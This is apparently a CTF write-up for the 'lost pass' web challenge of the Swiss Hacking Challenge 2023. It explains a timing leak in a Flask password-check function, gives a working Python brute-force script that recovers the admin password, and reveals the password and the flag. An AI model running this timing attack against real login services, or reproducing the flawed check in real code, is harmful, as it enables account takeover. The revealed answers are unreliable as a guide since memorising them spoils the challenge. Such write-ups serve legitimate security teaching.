Swiss Hacking Challenge 2023 - lost pass
Information
Challenge category: web
Challenge Description
Looks like somebody lost his password.
Files
We are given a lost_pass.zip
archive. It contains a flask web app.
If we can login as admin
we actually get the flag instead of lettuce
. We somehow need to recover the admin password.
Analysis
The bug lies in the following function:
def check_password(username, hashed_password, password):
# we split the hashed password into a list
hashed_password = hashed_password.split(",")
# we iterate over the password
for x in range(len(hashed_password)):
try:
# we check if the hashed character is the same as the hashed password
if hash_char(password[x]) != hashed_password[x]:
# error_log does a timeout
return error_log(username, password)
except:
# error_log is NOT called but
return False
return True
If the given has the same characters as the start of the admin password the error log function doesn’t trigger. However as we’re looping based on the length of the admin password and our password (e.g. 1 character) is smaller, an exception is thrown.
If that exception happens we can’t login but there is no timeout. We can use this for a timing-based attack.
Exploitation
The following script does the time-based attack described above:
import requests
import time
# We assume there are no special characters
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
current_times = {}
# Function to calculate POST request time
def get_request_time(url, data, headers):
before = time.perf_counter()
requests.post(url, data=data, headers=headers)
after = time.perf_counter()
response_time = after - before
print(f"Time for {data['password']}: {response_time}")
return response_time
while True:
length = 0
password = ""
while True:
# Get the response time for each character
times = []
url = "http://chall.m0unt41n.ch:1337/login"
for c in charset:
# get the time for each character 3 times and calculate the average
current_times = []
req_time = get_request_time(
url,
data={"username": "admin", "password": password + c},
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
times.append(req_time)
if req_time < 1:
break
password += str(charset[times.index(min(times))])
length += 1
print(password)
The password seems to be ducksnice
Flag
We can now login as admin and get the flag:
shc2023{ducks_like_2_sleep_quack}
Conclusion
Even though this had many solves I had very long until I figured out the bug in the exception handling. I tried another time-based attack before (because of the MD5 comparison) but that obviously didn’t work due to the respose time differences being way too slow.